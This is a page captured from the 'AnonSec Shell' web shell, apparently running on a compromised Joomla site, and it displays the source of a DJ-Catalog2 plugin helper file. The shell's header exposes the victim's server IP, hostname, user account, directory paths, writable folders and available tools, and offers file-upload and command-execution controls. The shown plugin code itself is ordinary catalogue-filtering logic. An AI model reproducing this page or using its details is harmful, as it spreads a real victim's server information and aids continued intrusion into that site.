AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/voscatalogues/plugins/system/djc2yootheme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/voscatalogues/plugins/system/djc2yootheme/helper.php
<?php
/**
 * @package DJ-Catalog2-Yootheme
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */
namespace DJExtensions\DJCatalog2\YOOtheme\Builder\Source;
use Joomla\Registry\Registry;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
defined('_JEXEC') or die('Restricted access');

class DJC2YooHelper
{

    protected static $_categories = array();
    protected static $_categoriesFlat = array();


    public static function getCategories($parentId = 0)
    {

        if (!isset(self::$_categories[$parentId])) {
            $cid = (($parentId != 0) ? array($parentId) : array());
            self::$_categories[$parentId] = self::getCategoriesRecurring($cid);
        }


        return self::$_categories[$parentId];
    }

    public static function getCategoriesFlat($parentId = 0)
    {
        if (!isset(self::$_categoriesFlat[$parentId])) {
            $categories = self::getCategories($parentId);
            self::$_categoriesFlat[$parentId] = self::buildFlatCategories($categories);
        }
        return self::$_categoriesFlat[$parentId];
    }

    protected static function buildFlatCategories(&$categories)
    {
        foreach ($categories as $category) {
            if(isset($category->childs) && count($category->childs)) {
                self::buildFlatCategories($category->childs);

                foreach ($category->childs as $child) {
                    $categories[$child->id] = $child;
                    unset($category->childs[$child->id]);
                }
            }


            unset($category->childs);
        }
        return $categories;
    }

    public static function getCategoriesRecurring($cid = array(), $level = 0)
    {

        $categories = self::getCategoriesByParentId($cid);
        if (count($categories)) {
            $categoryIds = array_keys($categories);

            $childs = self::getCategoriesRecurring($categoryIds);
            if (count($childs)) {
                foreach ($childs as $child) {
                    if (isset($categories[$child->parent_id])) {
                        $categories[$child->parent_id]->childs[$child->id] = $child;
                    }
                }
            }
        }

        return $categories;
    }


    protected static function getCategoriesByParentId($parentIds)
    {
        $db = Factory::getDbo();
        $query = $db->getQuery(true);
        $query
            ->select('cat.*')
            ->from($db->quoteName('#__djc2_categories', 'cat'));


        if (count($parentIds)) {
            $query->where('cat.parent_id IN (' . implode(',', $parentIds) . ')');
        } else {
            $query->where('cat.parent_id = 0');
        }

        $db->setQuery($query);
        return $db->loadObjectList('id');
    }

    static $attributes = array();
    static $counters = array();

    public static function getData($params, $flat = true)
    {

        $hash = $params->get('show_counter');
        $hash .= ':' . serialize($params->get('fieldgroups'));
        $hash .= ':' . $params->get('catsw');
        $hash .= ':' . serialize($params->get('categories'));

        $hash = md5($hash);

        $attributes = self::getAttributes($params, $hash);
        $counters = ($params->get('show_counter', 0) == '1') ? self::getCountersPrecise($attributes) : self::getCountersApprox($hash);

        $app = Factory::getApplication();

        $request = $app->input->getArray($_REQUEST);
        foreach($request as $param=>$value) {
            if (!array_key_exists('djcf', $request)) {
                $request['djcf'] = array();
            }
            if (strstr($param, 'f_')) {
                $qkey = substr($param, 2);
                $qval = null;
                if (is_array($value)) {
                    $qval = $value;
                } else {
                    $qval = (strstr($value,',') !== false) ? explode(',',$value) : $value;
                }
                //$qval = (strstr($value,',') !== false) ? explode(',',$value) : $value;
                unset($request[$param]);
                $request['djcf'][$qkey] = $qval;
            }
        }
        $filters = $request['djcf'];
        $globalSearch = urldecode($app->input->get( 'search','','string' ));
        $globalSearch = trim(\Joomla\String\StringHelper::strtolower( $globalSearch ));
        if (substr($globalSearch,0,1) == '"' && substr($globalSearch, -1) == '"') {
            $globalSearch = substr($globalSearch,1,-1);
        }
        if (strlen($globalSearch) > 0 && (strlen($globalSearch)) < 3 || strlen($globalSearch) > 20) {
            $globalSearch = null;
        }

        $grouppedattributes = array();

        foreach ($attributes as $key=>$attribute) {
            $attributes[$key]->alias = str_replace('-', '_', $attribute->alias);
            $attributes[$key]->optionsArray = ($attribute->options) ? $attribute->options : array();
            $attributes[$key]->optionValuesArray = ($attribute->optionValues) ? $attribute->optionValues : array();
            $attributes[$key]->optionCounterArray = array();
            $attributes[$key]->selected = false;
            $attributes[$key]->selectedOptions = array();
            $attributes[$key]->selectedOptionValues = array();
            $attributes[$key]->availableOptions = 0;

            if ($attribute->type == 'text' && array_key_exists('t_'.$attributes[$key]->id, $counters)) {
                $attributes[$key]->availableOptions = $counters['t_'.$attributes[$key]->id]->item_count;
            }

            foreach ($attributes[$key]->optionsArray as $kk => $vv) {
                if (is_array($counters) && !empty($counters)) {
                    if (array_key_exists($vv, $counters)) {
                        $attributes[$key]->optionCounterArray[] = $counters[$vv]->item_count;
                        $attributes[$key]->availableOptions++;
                    } else {
                        $attributes[$key]->optionCounterArray[] = 0;
                    }
                } else {
                    $attributes[$key]->optionCounterArray[] = 0;
                }
            }
            if (!empty($filters[$attribute->alias])) {
                $filter = $filters[$attribute->alias];
                if (is_scalar($filter) && strpos($filter, ',') !== false) {
                    $filter = explode(',', $filter);
                }
                if (is_array($filter)) {
                    foreach($filter as $k=>$v) {
                        if (strlen($v) > 0 ) {
                            $attributes[$key]->selected = true;
                            $filter[$k] = (int)$v;
                        } else {
                            $filter[$k] = null;
                        }
                    }
                    //$attributes[$key]->selected = true;
                    foreach ($attribute->optionsArray as $o) {
                        if (in_array($o, $filter)){
                            $index = array_search($o, $attributes[$key]->optionsArray);
                            if (array_key_exists($index, $attributes[$key]->optionValuesArray)) {
                                $attributes[$key]->selectedOptionValues[] = $attributes[$key]->optionValuesArray[$index];
                                $attributes[$key]->selectedOptions[] = $attributes[$key]->optionsArray[$index];
                            }
                        }
                    }
                } else {
                    $attributes[$key]->selected = true;
                    foreach ($attribute->optionsArray as $o) {
                        if ($o == (int)$filter) {
                            $index = array_search($o, $attributes[$key]->optionsArray);
                            if (array_key_exists($index, $attributes[$key]->optionValuesArray)) {
                                $attributes[$key]->selectedOptionValues[] = $attributes[$key]->optionValuesArray[$index];
                                $attributes[$key]->selectedOptions[] = $attributes[$key]->optionsArray[$index];
                            }
                        }
                    }
                }
            }
            if (empty($grouppedattributes[$attribute->group_id])) {
                $grouppedattributes[$attribute->group_id] = new \stdClass();
                $grouppedattributes[$attribute->group_id]->group_name = $attribute->group_name;
                $grouppedattributes[$attribute->group_id]->attributes = array();
            }
            $grouppedattributes[$attribute->group_id]->attributes[] = $attribute;
        }
        return $grouppedattributes;

    }

    private static function getAttributes(&$params, $hash)
    {
        if (empty(self::$attributes[$hash])) {
            $db = Factory::getDbo();
            $query = $db->getQuery(true);
            $query->select('CONCAT(\'f_\', f.name) AS name,f.*, g.name as group_name, g.label as group_label');
            $query->from('#__djc2_items_extra_fields as f');
            $query->join('left', '#__djc2_items_extra_fields_groups as g ON g.id=f.group_id');

            $fieldgroups = $params->get('fieldgroups');
            $fields = $params->get('fields');
            $group_ids = '';
            if (!empty($fieldgroups)) {
                if (in_array(0, $fieldgroups)) {
                    $group_ids = ' and (g.id in (' . implode(',', $fieldgroups) . ') OR g.id IS NULL)';
                } else {
                    $group_ids = ' and (g.id in (' . implode(',', $fieldgroups) . '))';
                }
            }

            $field_ids = '';
            if (!empty($fields)) {
                $field_ids = ' and f.id in (' . implode(',', $fields) . ')';
            }

            $lang = Factory::getLanguage();
            $tag = $lang->getTag();

            $query->where('(f.language = ' . $db->quote('*') . ' OR f.language = ' . $db->quote($tag) . ')');
            if($group_ids == "" || $field_ids == ""){
                $query->where('f.published = 1 AND f.filterable = 1 AND (f.type = \'checkbox\' or f.type = \'radio\' or f.type = \'select\' or f.type = \'text\' or f.type = \'color\' or f.type = \'multicolor\'  or f.type = \'multiselect\') ');

            }else {
                $query->where('f.published = 1 AND f.filterable = 1 AND (f.type = \'checkbox\' or f.type = \'radio\' or f.type = \'select\' or f.type = \'text\' or f.type = \'color\' or f.type = \'multicolor\'  or f.type = \'multiselect\') ' . $group_ids ." ". $field_ids);

            }
            $query->group('f.id');
            $query->order('IFNULL(g.ordering,0) asc, g.ordering asc');

            $itemIds = $params->get('ids', []);
            if(count($itemIds))  {
                $query->join('INNER', $db->quoteName('#__djc2_items_extra_fields_values_int', 'fv') . ' ON fv.field_id = f.id AND fv.item_id IN (' . implode(',',  $itemIds) . ')');
                $query->group('f.id');
            }

            $db->setQuery($query);

            $attributes = $db->loadObjectList('id');



            if (count($attributes) > 0) {
                $query = $db->getQuery(true);
                $query->select('o.*');
                $query->from('#__djc2_items_extra_fields_options as o');
                $query->where('o.field_id in (' . implode(',', array_keys($attributes)) . ')');


                $itemIds = $params->get('ids', []);
                if(count($itemIds))  {
                    $query->join('INNER', $db->quoteName('#__djc2_items_extra_fields_values_int', 'fv') . ' ON fv.field_id = o.field_id AND fv.value = o.id AND fv.item_id IN (' . implode(',',  $itemIds) . ')');
                    $query->select('fv.item_id');
                    $query->group('o.id');
                }

                $query->order('field_id asc, ordering asc');

                $db->setQuery($query);
                $optionslist = $db->loadObjectList();

                $query = $db->getQuery(true);
                $query->select('distinct *');
                $query->from('#__djc2_items_extra_fields_values_text');
                $query->where('field_id in (' . implode(',', array_keys($attributes)) . ')');
                $query->order('field_id asc, value asc');

                $db->setQuery($query);
                $textOptionslist = $db->loadObjectList();


                foreach ($attributes as $field_id => $field) {
                    $field_options = array();
                    $field_optionValues = array();
                    $field_optionParams = array();

                    if ($field->type == 'text') {
                        foreach ($textOptionslist as $k => $option) {
                            if ($option->field_id == $field_id) {
                                $field_options[] = $option->id;
                                $field_optionValues[] = $option->value;
                                $field_optionParams[] = new Registry();
                            }
                        }
                    } else {
                        foreach ($optionslist as $k => $option) {
                            if ($option->field_id == $field_id) {
                                $field_options[] = $option->id;
                                $field_optionValues[] = $option->value;
                                $field_optionParams[] = !empty($option->params) ? new Registry($option->params) : new Registry();
                            }
                        }
                    }
                    $attributes[$field_id]->options = $field_options;//implode('|', $field_options);
                    $attributes[$field_id]->optionValues = $field_optionValues;//implode('|', $field_optionValues);
                    $attributes[$field_id]->optionParams = $field_optionParams;//implode('|', $field_optionValues);
                }
            }
            self::$attributes[$hash] = $attributes;
        }

        return self::$attributes[$hash];

    }

    private static function getCountersPrecise($attributes)
    {
        $db = Factory::getDbo();
        $app = Factory::getApplication();
        $cparams = \Djcatalog2Helper::getParams();
        $params = new Registry();
        $params->merge($cparams);

        BaseDatabaseModel::addIncludePath(JPATH_BASE . '/components/com_djcatalog2/models');
        $model = BaseDatabaseModel::getInstance('Items', 'Djcatalog2Model');
        $state = $model->getState();

        $params->set('product_catalogue', 0);
        $params->set('limit_items_show', 0);
        $model->setState('params', $params);
        $model->setState('filter.catalogue', false);
        $model->setState('list.start', 0);
        $model->setState('list.limit', 0);

        $model->setState('list.select', 'i.id');
        $model->setState('list.ordering', 'i.id');

        $model->setState('filter.map.address', false);
        $model->setState('filter.map.radius', false);

        $filterState = $model->getState('filter.customattribute', array());
        $counters = array();

        foreach ($attributes as $attribute) {
            if (!isset(self::$counters[$attribute->id])) {
                $tempState = $filterState;

                if (($attribute->type != 'checkbox' || $attribute->type != 'multicolor') && $attribute->filter_type != 'checkbox' && array_key_exists($attribute->alias, $tempState)) {
                    unset($tempState[$attribute->alias]);
                }

                $model->setState('filter.customattribute', $tempState);
                $items_query = $model->buildQuery();

                if ($attribute->type == 'text') {
                    $query = $db->getQuery(true);
                    $query->select('ef.id as field_id, ef.name as field_name, "" as option_id, "" as option_value, count(fv.item_id) as item_count');
                    $query->from('#__djc2_items_extra_fields_values_text as fv');
                    $query->join('inner', '#__djc2_items_extra_fields as ef on ef.id=fv.field_id AND ef.filterable = 1');
                    $query->where('ef.id = ' . $attribute->id);
                    $query->join('inner', '(' . $items_query . ') as item_ids on fv.item_id = item_ids.id');
                    $query->group('ef.id');
                    $query->order('ef.name asc');

                    $db->setQuery($query);
                    $textCounters = $db->loadObjectList('field_id');

                    if (isset($textCounters[$attribute->id])) {
                        self::$counters['t_' . $attribute->id] = $textCounters;
                    }

                } else {
                    $query = $db->getQuery(true);
                    $query->select('ef.id as field_id, ef.name as field_name, opt.id as option_id, opt.value as option_value, count(fv.item_id) as item_count');
                    $query->from('#__djc2_items_extra_fields_values_int as fv');
                    $query->join('inner', '#__djc2_items_extra_fields as ef on ef.id=fv.field_id');
                    $query->join('inner', '#__djc2_items_extra_fields_options as opt on opt.field_id=ef.id and opt.id=fv.value');
                    $query->where('ef.id = ' . $attribute->id);
                    $query->join('inner', '(' . $items_query . ') as item_ids on fv.item_id = item_ids.id');
                    $query->group('ef.id, opt.value');
                    $query->order('ef.name asc');

                    $db->setQuery($query);
                    $intCounters = $db->loadObjectList('option_id');

                    self::$counters[$attribute->id] = $intCounters;
                }
            }

            if (isset(self::$counters[$attribute->id]) && count(self::$counters[$attribute->id])) {
                foreach (self::$counters[$attribute->id] as $k => $v) {
                    $counters[$k] = $v;
                }
            } else if (isset(self::$counters['t_' . $attribute->id]) && count(self::$counters['t_' . $attribute->id])) {
                foreach (self::$counters['t_' . $attribute->id] as $k => $v) {
                    $counters['t_' . $k] = $v;
                }
            }
        }

        return $counters;
    }

    private static function getCountersApprox($hash)
    {
        if (empty(self::$counters[$hash])) {
            self::$counters[$hash] = array();
            $db = Factory::getDbo();
            $app = Factory::getApplication();
            $cparams = \Djcatalog2Helper::getParams();
            $params = new Registry();
            $params->merge($cparams);

            BaseDatabaseModel::addIncludePath(JPATH_BASE . '/components/com_djcatalog2/models');
            $model = BaseDatabaseModel::getInstance('Items', 'Djcatalog2Model');
            $state = $model->getState();

            $params->set('product_catalogue', 0);
            $params->set('limit_items_show', 0);
            $model->setState('params', $params);
            $model->setState('filter.catalogue', false);
            //$model->setState('filter.customattribute', array());
            $model->setState('list.start', 0);
            $model->setState('list.limit', 0);

            $model->setState('list.select', 'i.id');
            $model->setState('list.ordering', 'i.id');

            $items_query = $model->buildQuery();


            $query = $db->getQuery(true);
            $query->select('ef.id as field_id, ef.name as field_name, opt.id as option_id, opt.value as option_value, count(fv.item_id) as item_count');
            $query->from('#__djc2_items_extra_fields_values_int as fv');
            $query->join('inner', '#__djc2_items_extra_fields as ef on ef.id=fv.field_id');
            $query->join('inner', '#__djc2_items_extra_fields_options as opt on opt.field_id=ef.id and opt.id=fv.value');
            $query->join('inner', '(' . $items_query . ') as item_ids on fv.item_id = item_ids.id');
            $query->group('ef.id, opt.value');
            $query->order('ef.name asc');

            $db->setQuery($query);
            $intCounters = $db->loadObjectList('option_id');

            $query = $db->getQuery(true);
            $query->select('ef.id as field_id, ef.name as field_name, "" as option_id, "" as option_value, count(fv.item_id) as item_count');
            $query->from('#__djc2_items_extra_fields_values_text as fv');
            $query->join('inner', '#__djc2_items_extra_fields as ef on ef.id=fv.field_id AND ef.filterable = 1');
            $query->join('inner', '(' . $items_query . ') as item_ids on fv.item_id = item_ids.id');
            $query->group('ef.id');
            $query->order('ef.name asc');

            $db->setQuery($query);
            $textCounters = $db->loadObjectList('field_id');

            foreach ($intCounters as $k => $v) {
                self::$counters[$hash][$k] = $v;
            }
            foreach ($textCounters as $k => $v) {
                self::$counters[$hash]['t_' . $k] = $v;
            }

            //self::$counters[$hash] = $db->loadObjectList('option_id');
        }

        return self::$counters[$hash];
    }

    public static function getMinMaxPrice()
    {

        $db = Factory::getDbo();
        $query = $db->getQuery(true);

        $query
            ->select(array(
                'MIN(i.price) AS min_range',
                'MAX(i.price) AS max_range'
            ))
            ->from($db->quoteName('#__djc2_items', 'i'))
            ->where('i.published = 1');

        $db->setQuery($query);
        return $db->loadObject();

    }

    public static function buildUrlRequest($request) {
        $uri = '';
        $initialized = false;

        $app = Factory::getApplication();
        $catc = $app->input->getRaw('catc');
        $search = $app->input->getRaw('search');


        foreach ($request as $alias => $values) {
            if(!$initialized) {
                $uri = $alias . '=' . implode(',', $values);
                $initialized = true;
            }else {
                $uri .= '&' . $alias . '=' . implode(',', $values);
            }
        }

        if($search) {
            if($initialized) {
                $uri .= '&';
            }
            $uri .= 'search=' . urlencode($search);
        }

        if($catc) {
            $uri .= '&$catc=true';
        }

        return $uri;
    }

    public static function discoverAttributes(&$attributes, $itemIds) {
        print_r($attributes);
        exit();
    }
}

Anon7 - 2022
AnonSec Team